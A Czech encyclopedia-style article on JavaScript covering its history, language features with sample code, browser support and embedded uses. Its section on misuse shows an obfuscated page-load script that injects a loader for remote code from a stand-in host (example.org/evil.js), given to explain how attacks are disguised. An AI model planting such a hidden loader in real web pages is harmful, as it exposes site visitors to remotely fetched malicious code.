JavaScript

JavaScript je multiplatformní, objektově orientovaný, událostmi řízený skriptovací jazyk, jehož autorem je Brendan Eich z někdejší společnosti Netscape. Jeho syntaxe (zápis zdrojového textu) patří do rodiny jazyků C/C++/Java, ale JavaScript je od těchto jazyků zásadně odlišný sémanticky (funkčně, principiálně), jde o jiný jazyk. Slovo Java je součástí jeho názvu pouze z marketingových důvodů. JavaScript byl v červenci 1997 standardizován asociací ECMA (European Computer Manufacturers Association) a v srpnu 1998 ISO (International Organization for Standardization). Standardizovaná verze JavaScriptu je pojmenována ECMAScript a z ní byly odvozeny i další implementace, jako je například ActionScript. JavaScript byl původně obchodní název implementace společnosti Netscape, kde byl vyvíjen nejprve pod názvem Mocha, později LiveScript, ohlášen byl společně se společností Sun Microsystems v prosinci 1995 jako doplněk k jazykům HTML a Java. Pro verzi firmy Microsoft je použit název JScript. Ten je podporován platformou .NET.

Nejčastější použití JavaScriptu v současnosti zahrnují:
 Webové stránky, do kterých je často vkládaný přímo jako součást HTML kódu stránky. Interpretaci v tomto případě provádí webový prohlížeč návštěvníka stránky. Jsou jím obvykle ovládány různé interaktivní prvky GUI (tlačítka, textová políčka) nebo tvořeny animace a efekty obrázků. Prakticky to znamená, že se program v JavaScriptu obvykle spouští až po stažení webové stránky z Internetu (tzv. na straně klienta), na rozdíl od ostatních jiných interpretovaných programovacích jazyků (např. PHP a ASP), které se spouštějí na straně serveru ještě před stažením z Internetu. Z toho plynou jistá bezpečností omezení – v prohlížeči spouštěný JavaScript např. nemůže pracovat se soubory, aby tím neohrozil soukromí uživatele.
 JavaScript se využívá i na straně serveru. První implementací JavaScriptu na straně serveru byl LiveWire firmy Netscape vydaný roku 1996. Dnes existuje několik možností včetně opensource implementace Rhinola založené na Rhino, gcj, Node.js, Deno a Apache. Událostmi řízená architektura je dělá vhodnými pro tvorbu serverových aplikací, které pracují v reálném čase.
 Také je možno jej spouštět v operačních systémech Windows pomocí programu Windows Script Host a nahradit tak dávkové soubory MS-DOS. Manipulaci se soubory lze například provádět za pomoci objektu FileSystemObject, který se používá i na výše zmíněných serverech.
 Kromě DHTML se JavaScript používá k psaní rozšíření pro mnohé aplikace, například Adobe Acrobat.

Rysy objektově orientovaného programování

Dynamické

Dynamické přiřazení typů (Dynamic typing) 
Stejně jako ve většině skriptovacích jazyků, jsou typy asociovány s hodnotami místo proměnných. Kupříkladu proměnné x může být přiřazena hodnota v podobě celočíselného typu, později řetězce atd. JavaScript operatory ===, typeof a instanceof  umožňují otestování typu objektu.

Objekty jako asociativní pole (objects as associative fields) 
JavaScript je převážně objektově založený. Objekty jsou asociativními poli rozšířenými o tzv. prototypy (viz níže). Názvy atributů objektů jsou klíči asociativního pole; obj.x = 10 a obj["x"] = 10 jsou tedy ekvivalentními výrazy. První varianta používá oddělení pomocí znaku tečky především pro zjednodušující účely. Atributy a jejich hodnoty mohou být přidávány, měněny nebo mazány za běhu programu. Atributy objektu mohou být rovněž vyčteny pomocí for … in cyklu. V tom se však promítnou i zděděné vlastnosti (z prototypu). Pokud se toho chceme vyvarovat, je dobré použít ještě metodu hasOwnProperty.

Runtime evaluation (= míra možných akcí proveditelných za běhu programu) 
Pro úplnost nutno zmínit, že JavaScript v sobě zahrnuje funkci eval, která je schopna provádět příkazy předávané jako řetězce přímo za běhu programu, což je však celkem běžným rysem interpretovaných jazyků, nejedná se tedy o žádnou specialitu JavaScriptu jako takového.

Funkcionální

Funkce první třídy (first-class functions) 
Označení funkce první třídy vyjadřuje, že jsou funkce objekty. Mají tedy své atributy a mohou být předány dále. Lze s nimi  manipulovat jako s kterýmkoli jiným objektem. Níže jsou uvedeny další významy funkcí (jako konstruktory a metody).

Anonymní (vnitřní) funkce a uzávěry (closures) 
Vnitřní funkce neboli funkce definované uvnitř jiných – vnějších funkcí, jsou vytvořeny při každém zavolání nadřazené funkce. Proměnné funkcí vnějších existují po dobu existence funkce vnitřní. Dokonce i po ukončení volání – po návratu z vnější funkce, má daná vnitřní funkce stále přístup k proměnným své vnější funkce – toto je mechanismus nazývaný v JavaScriptu jako uzávěry ().

Prototypové (prototype-based)

Prototypy (Prototypes) 
Přestože JavaScript nedisponuje klasickým konceptem třída–instance, typickým pro objektově orientované jazyky, disponuje rysem, který tento mechanismus částečně nahrazuje – prototypováním. Díky prototypování je dále JavaScript schopen simulovat mnoho principů a vlastností mechanismůzaložených na třídách (). Například dědičnost, která je u JavaScriptu nazývána právě jako dědičnost prototypová, která je vysvětlena na příkladu níže.

Funkce jako konstruktory objektů (Functions as constructors) 
Funkce lze v JavaScriptu použít jako konstruktory objektů. Voláním konstruktoru pomocí operátoru new se vytvoří nový objekt (instance). Vlastnosti objektu se deklarují přes klíčové slovo this. Při vytváření objektu lze jednotlivé vlastnosti objektu inicializovat předáním hodnot parametrům volaného konstruktoru. Atribut prototype dané funkce potom určuje prototyp nově vytvořeného objektu. Příklad konstruktoru třídy Auto:

// Definice konstruktoru
function Auto(znacka, spz) {
  this.znacka = znacka;
  this.spz = spz;
  this.vypisZnacku = function () {
    alert(this.znacka);
  };
}

// Vytvoření nového auta
var mojeAuto = new Auto("mercedes", "3A4983");
// Zavolání metody
mojeAuto.vypisZnacku();

Funkce jako metody (Functions as methods) 
Na rozdíl od většiny objektově orientovaných jazyků  JavaScript nerozlišuje mezi definicí metody a definicí funkce. Rozdíl nastane při volání – funkce může být volána jako metoda. Je-li funkce volána jako metoda objektu, je se svým objektem svázána klíčovým slovem this.

Dědičnost (Inheritance) 

Ačkoliv má JavaScript určité prvky dědičnosti, nejedná se o klasickou dědičnost známou z typových jazyků C++ nebo Java. JavaScript nepodporuje zápis tříd (pouze konstruktor) a s tím spojenou hierarchii tříd, proto lze hovořit spíše o jakési simulaci (viz oddíl prototypy výše) dědičnosti, nazvanou dědičnost prototypová. Prototyp slouží jako zvláštní objekt, který je přidružen každé funkci (tedy i k funkci jako konstruktoru). Všechny objekty inicializované skrze nějaký konstruktor dědí, respektive sdílejí, vlastnosti a metody obsažené právě v prototypu daného konstruktoru.

Podíváte-li se zpět na zápis konstruktoru Auto, v objektu je také metoda vypisZnacku(). Technicky má v paměti každá instance této „třídy“ lokální kopii této metody, což je přinejmenším z hlediska správy paměti nevhodné. Právě tento problém řeší prototypy, neboť stačí metodu deklarovat na úrovni prototypu a ta již nebude součástí každé instance. To ovšem neznamená, že nebude dosažitelná. Při vyhodnocování JavaScript metodu nejprve hledá v příslušném objektu, pakliže ji nenajde, jde o úroveň výše – do prototypu konstruktoru. Je vhodné sdílení pouze takových datových složek, které jsou neměnné pro všechny instance – především metody a konstanty. Upravený zápis předchozího příkladu:
// Definice konstruktoru
function Auto(znacka, spz) {
  this.znacka = znacka;
  this.spz = spz;
}

Auto.prototype.vypisZnacku = function () {
  alert(this.znacka);
};

Systém dědičnosti nadřazených a podřazených tříd sice v JS neexistuje, ale pomocí prototypů ji lze úspěšně simulovat. Celý princip dědění spočívá v tvorbě nových prototypů. Máme-li třídu VesmirnyObjekt, třídu Planeta podřídíme tím, že přiřadíme konstruktoru Planeta jako prototyp () objekt VesmirnyObjekt:
function VesmirnyObjekt(soustava) {
  this.soustava = soustava || "Sluneční";
}

function Planeta(soustava, jmeno, pocetMesicu) {
  this.parent(soustava); // Zde zavoláme konstruktor rodiče a předáme mu soustavu
  this.jmeno = jmeno;
  this.pocetMesicu = pocetMesicu || 0;
}

// Podporováno od ES 5, tuto funkci je možné dodefinovat (ukázka např. na MDN):
Planeta.prototype = Object.create(VesmirnyObjekt.prototype);
// Je dobrým zvykem, aby vlastnost constructor odkazovala na správnou funkci (Object.create tuto vlastnost přepsala):
Planeta.prototype.constructor = Planeta;
// A nakonec přiřadíme do prototypu odkaz na rodiče:
Planeta.prototype.parent = VesmirnyObjekt;

// Vytvoříme novou instanci planety:
var planeta = new Planeta("Alfa Centauri", "Terra Nova", 2);
alert("Soustava: " + planeta.soustava
  + ", planeta: " + planeta.jmeno 
  + ", počet měsíců: " + planeta.pocetMesicu);

Výjimky (Exceptions) 
Výjimky jsou společným rysem objektově orientovaných jazyků. Jedná se o mechanismus zachytávání stavu (chyb) vyvolaného chybným kódem. Například přístupem k neexistující metodě. Tyto chyby lze zachytávat a ošetřovat pomocí klíčových slov try, catch a volitelně finally. Na rozdíl od jiných jazyků může být v JavaScriptu výjimka jakéhokoli typu, tzn. můžeme vyvolat jako výjimku i řetězec nebo číslo:

function Person(name) {
  if (!name) {
    throw "You have to define the person's name!";
  }
  this.name = name;
}

try {
  var person = new Person();
} catch (ex) {
  alert(typeof ex); // Bude string
  alert(ex); // Vypíše obsah hlášky
}

Je však dobrým zvykem vyvolávat výjimky s typem Error či podobnými.

Rozšíření asm.js 
Asm.js je podmnožina programovacího jazyka JavaScript navržená Mozillou. Je určena pro výrazné zrychlení běhu javascriptových aplikací, podobně jako technologie NaCl a jazyk Dart od Google. V současné době (prosinec 2013) dosahuje rychlost na hodnoty jen asi o 50 % nižší než je kód generovaný překladači. Zejména hry napsané původně pro PC, typicky v jazyce C nebo C++.

Prohlížeče, které tuto podmnožinu JavaScriptu podporují, jsou v současné době (květen 2018) Mozilla Firefox, Google Chrome, Opera a Microsoft Edge.

Podpora JavaScriptu ve webových prohlížečích 
Webový prohlížeč uživatele dané webové stránky může mít JavaScript explicitně vypnutý, popřípadě je na stránku přistupováno způsobem (daným kombinací daného zařízení, platformy, hardwarových nároků, nebo toho, přistupuje-li člověk či program), který JavaScript nespustí.

Podle údajů firmy Yahoo z roku 2010 je podíl stránek načtených bez spuštění JavaScriptu 1,3 % (celosvětový průměr), od 0,25 % v Brazílii po 2 % v USA.

V rámci tzv. webové přístupnosti by se při vývoji webu mělo vždy dbát na správné zobrazení stránky bez ohledu na podporu skriptování na straně klienta.

Zneužívání JavaScriptu 
Protože je JavaScript součástí většiny prohlížečů, existuje snaha o jeho zneužití. Aby byl škodlivý kód nesnadno zjistitelný, kromě jeho umísťování na jiné servery bývá HTML kód, který zajistí jeho načtení, maskován různými technikami. Možnými technikami je ukrytí HTML kódu zpřístupňující škodlivý JavaScript do skrytého elementu IFRAME nebo použití nečitelného kódu v samotném JavaScriptu, který HTML kód zpřístupňující škodlivý kód vygeneruje po načtení stránky.

Co se týká druhé možnosti, např. kód:
<script>
try{window.onload = function() {
var Q236s4ic4454clw = document.createElement('script');
Q236s4ic4454clw.setAttribute('type', 'text/javascript');
Q236s4ic4454clw.setAttribute('id', 'myscript1');
Q236s4ic4454clw.setAttribute('src', 'h(t)!^t^))p#@:&&/(##/&$#e^$$x^@)(a&(m$^)p))#$l^e$#.!^)^o$$$&r@$g#^/$!#e#&(v((i!!l)(@.)&j((s@^^'.***);
// místo "***" má být "replace(/\(|\!|&|#|\$|\)|@|\^/ig, '')" - toto řešení je nutné z důvodu blokování načítání této stránky antivirovými programy

Q236s4ic4454clw.setAttribute('defer', 'defer');
document.body.appendChild(Q236s4ic4454clw);
}
catch(e) {}
</script>

vygeneruje HTML kód:

<script defer="defer" src="http://example.org/evil.js" id="myscript1" type="text/javascript"></script>

který vlastní škodlivý kód načte z vnější adresy mimo napadený server.

Použití mimo webové stránky 
Kromě webových prohlížečů a serverů je interpret JavaScriptu vestavěný v mnoha různých nástrojích. Každý z těchto nástrojů poskytuje vlastní objektový model, který poskytuje přístup k hostitelskému prostředí. Jádro JavaScriptu zůstává většinou stejné v každé aplikaci.

Vestavěný scriptovací jazyk 
 Většina rozšíření pro webové prohlížeče je implementována použitím JavaScriptu, např. rozšíření Chrome, Safari, Opera atd.
 Některé NoSQL datábáze jako je MongoDB nebo CouchDB akceptují dotazy napsané v JavaScriptu.
 Acrobat and Adobe Reader podporují JavaScript v souborech typu PDF.
 Nástroje v Adobe Creative Suite, včetně Photoshop, Illustrator, Dreamweaver a InDesign umožňují skriptování pomocí JavaScriptu.
 Kancelářský balík aplikací OpenOffice a LibreOffice umožňuje JavaScript používat jako skriptovací jazyk.
 Interaktivní zpracování signálu hudebního software Max/MSP nabízí v jeho prostředí model JavaScriptu pro použití vývojářům. To umožňuje mnohem přesnější ovládání než výchozí programovací model GUI-centric.
 Digitální software Apple Logic Pro X audio workstation umožňuje vytvořit vlastní MIDI efekty pluginy pomocí JavaScriptu.
 ECMAScript byl zahrnut v normě VRML97 pro skriptování uzlů souborů VRML.
 Herní engine Unity 3D ve starších verzích podporoval upravenou verzi JavaScriptu pro skriptování pomocí Mono.
 DX Studio (3D engine) používá implementaci JavaScriptu SpiderMonkey pro hry a simulace logiky.
 Maxwell Render poskytuje skriptovací engine ECMA standardu pro automatizaci úkolů.
 Google Apps Script v tabulkách Google a Google Sites umožňuje uživatelům vytvářet vlastní vzorce, automatizovat opakující se úlohy a také komunikovat s ostatními produkty Google jako je Gmail.
 Mnoho klientů IRC, jako je ChatZille nebo XChat, používají JavaScript pro jejich scriptovací činnosti.
 Produkty SpinetiX používají SpiderMonkey JavaScript pro scriptování v SVG souborech.
 Platformy ObjectGears, ServiceNow

Skriptovací engine 
 Technologie Active Scripting od Microsoftu podporuje JavaScript jako skriptovací jazyk.
 Programovací jazyk Java v 6. verzi představil balíček javax.script, který obsahuje implementaci JavaScriptového enginu Rhino. Java aplikace tak mohou hostit skripty, které přistupují k proměnným a objektům této aplikace, stejně jako webové prohlížeče, kde skripty mohou přistupovat k objektovému modelu dokumentu webové stránky.
 Nástroj Qt C++ obsahuje modul QtScript, který interpretuje JavaScript stejně jako Java balíček javax.script.

Vývojové nástroje 
Vzhledem k tomu, že při programování pro různé webové prohlížeče mohou nastat implementační rozdíly (zvláště v objektovém modelu dokumentu), je vhodné mít přístup k debuggeru v každém webovém prohlížeči, na které je aplikace zaměřena.

Debuggery jsou dostupné pro Internet Explorer, Firefox, Safari, Google Chrome, Opera a Node.js.

Odkazy

Reference

Související články 
 AJAX – pro komunikaci iniciovanou klientem (webovou stránkou)
 WebSocket – pro obousměrnou komunikaci webové stránky se serverem (klient–server)
 jQuery UI
 JQuery Mobile

Externí odkazy 
 
  JavaScript: How Did We Get Here? – Historie vzniku jazyka
 Do hlubin implementací JavaScriptu – Seriál na Zdrojak.cz
 JakPsatWeb
 w3schools.com

 
Skriptovací jazyky